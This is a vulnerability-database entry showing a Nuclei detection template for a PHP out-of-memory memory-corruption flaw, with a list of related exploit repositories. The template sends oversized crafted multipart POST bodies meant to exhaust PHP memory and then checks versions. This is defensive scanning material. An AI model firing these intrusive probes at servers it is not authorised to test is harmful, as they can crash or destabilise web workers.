Lucene search
+L

PHP2Shell (CVE-2026-109618/CVE-2026-109619) - Active Crash Detection

🗓️ 24 Oct 2026 03:12:00Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 6 Views

Unauthenticated attacker can corrupt memory, disclose worker memory, or execute code in PHP.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-109618
21 Oct 202613:53
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-109618
21 Oct 202614:08
–githubexploit
githubexploit
GithubExploit
Exploit for Improperly Controlled Sequential Memory Allocation in Php
22 Oct 202613:47
–githubexploit
githubexploit
GithubExploit
php2shell-assessment-global
21 Oct 202613:31
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-109619
21 Oct 202617:42
–githubexploit
githubexploit
GithubExploit
Exploit for Improperly Controlled Sequential Memory Allocation in Php
22 Oct 202610:01
–githubexploit
githubexploit
GithubExploit
Exploit for Improperly Controlled Sequential Memory Allocation in Php
22 Oct 202609:21
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-109618
21 Oct 202614:36
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-109618
21 Oct 202613:19
–githubexploit
githubexploit
GithubExploit
php2shell-detect-exploit-kit
21 Oct 202615:13
–githubexploit
Rows per page
id: CVE-2026-109618

info:
  name: PHP2Shell (CVE-2026-109618/CVE-2026-109619) - Active Crash Detection
  author: lcfr_hax,assetnote,princechaddha,s4e-io
  severity: critical
  description: |
    PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
  impact: |
    Affected PHP installations may allow an unauthenticated attacker to corrupt process memory, disclose sensitive worker memory, or achieve remote code execution as the web worker account.
  remediation: |
    Upgrade to PHP 8.2.35, 8.3.36, 8.4.27, 8.5.12, or later. PHP 8.1 and older are end-of-life upstream; upgrade to a supported branch or apply vendor backports for both CVE-2026-109618 and CVE-2026-109619.
  reference:
    - https://www.php.net/index.php#2026-10-21-5
    - https://www.php.net/archive/2026.php
    - https://cert.europa.eu/publications/security-advisories/2026-018
    - https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
    - https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
    - https://www.wiz.io/blog/php2shell-php-rce
    - https://github.com/assetnote/php2shell-scanner
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-109618
    epss-score: 0.1162
    epss-percentile: 0.96047
    cwe-id: CWE-416
    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: php
    product: php
    shodan-query: 'http.component:"PHP"'
    fofa-query: 'header="X-Powered-By: PHP"'
  tags: cve,cve2026,php,php2shell,rce,intrusive,vkev

flow: |
  function repeatStr(s, n) {
    var r = '';
    while (n > 0) {
      if (n & 1) r += s;
      s += s;
      n >>= 1;
    }
    return r;
  }
  function buildProbe(sizeMib, parts) {
    var size = sizeMib * 1048576;
    var nested = repeatStr('[a]', 62);
    var part = '--\nContent-Disposition:name=a[]' + nested + ';filename=\n\n';
    var base = repeatStr(part, parts);
    var fillerCount = Math.floor((size - base.length) / 3);
    var filler = repeatStr('x:\n', fillerCount);
    var body = '--\n' + filler + base.substring(3);
    return body.substring(0, body.length - 1);
  }
  function versionVerdict(v) {
    if (!v) return null;
    var m = v.match(/^(\d+)\.(\d+)\.(\d+)(.*)$/);
    if (!m) return null;
    var major = parseInt(m[1]), minor = parseInt(m[2]), patch = parseInt(m[3]);
    if (major < 8 || (major === 8 && minor < 2)) return 'EOL';
    var fixed = {'8.2': 35, '8.3': 36, '8.4': 27, '8.5': 12};
    var key = major + '.' + minor;
    if (!(key in fixed)) return null;
    if (patch < fixed[key]) return 'VULNERABLE';
    if (patch === fixed[key] && /^[-_.]?(dev|alpha|beta|rc)/i.test(m[4])) return 'VULNERABLE';
    return 'FIXED';
  }
  var PROBES = [[1, 4000], [8, 1020], [20, 1020]];
  var REJECTED = {400:1, 403:1, 411:1, 413:1, 414:1, 417:1, 422:1, 429:1, 431:1};
  http('control');
  var ctrlStatus = parseInt(template['ctrl_status']);
  if (!ctrlStatus) {
  } else if (ctrlStatus >= 500) {
  } else {
    var poweredBy = template['ctrl_powered_by'] || '';
    var matchedPHPError = false;
    for (var i = 0; i < PROBES.length; i++) {
      set('probe_body', buildProbe(PROBES[i][0], PROBES[i][1]));
      var matched = http('probe');
      if (template['probe_powered_by']) {
        poweredBy = template['probe_powered_by'];
      }
      if (matched) {
        matchedPHPError = true;
        break;
      }
      var probeStatus = parseInt(template['probe_status']);
      if (probeStatus in REJECTED) {
        break;
      }
      if (versionVerdict(poweredBy) === 'FIXED') {
        break;
      }
    }
    var verdict = versionVerdict(poweredBy);
    if (!matchedPHPError && (verdict === 'VULNERABLE' || verdict === 'EOL')) {
      set('version_verdict', verdict === 'EOL' ? 'eol' : 'true');
      set('powered_by_ver', poweredBy);
      http('version-verdict');
    }
  }

http:
  - id: control
    raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=x
        Connection: close

        --x
        Content-Disposition:name=a;filename=

    matchers:
      - type: dsl
        dsl:
          - "true"
        internal: true

    extractors:
      - type: dsl
        name: ctrl_status
        dsl:
          - "status_code"
        internal: true

      - type: regex
        name: ctrl_powered_by
        part: header
        group: 1
        regex:
          - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)'
        internal: true

  - id: probe
    raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=
        Connection: close

        {{probe_body}}

    matchers:
      - type: dsl
        name: memory-exhaustion
        dsl:
          - 'contains(body, "Allowed memory size of") && contains(body, "bytes exhausted") && contains(body, "Unknown")'

    extractors:
      - type: dsl
        name: probe_status
        dsl:
          - "status_code"
        internal: true

      - type: regex
        name: probe_powered_by
        part: header
        group: 1
        regex:
          - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)'
        internal: true

      - type: regex
        name: version
        part: header
        group: 1
        regex:
          - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)'

  - id: version-verdict
    raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: dsl
        name: version-vulnerable-no-crash
        dsl:
          - 'version_verdict == "true"'

      - type: dsl
        name: version-eol-branch
        dsl:
          - 'version_verdict == "eol"'

    extractors:
      - type: regex
        name: version
        part: header
        group: 1
        regex:
          - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)'
# digest: 490a0046304402202184393212ba0350aa59d895362d913b8e8127c257431bc239771106273a5e010220258cf0e79b5b3adca16ce797ed37e92816ad9dc856ace40921b596e517fd718b:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Oct 2026 22:46Current
9.1Critical risk
Vulners AI Score9.1
CVSS 3.19.8
CVSS 49.2
EPSS0.11841
SSVC
6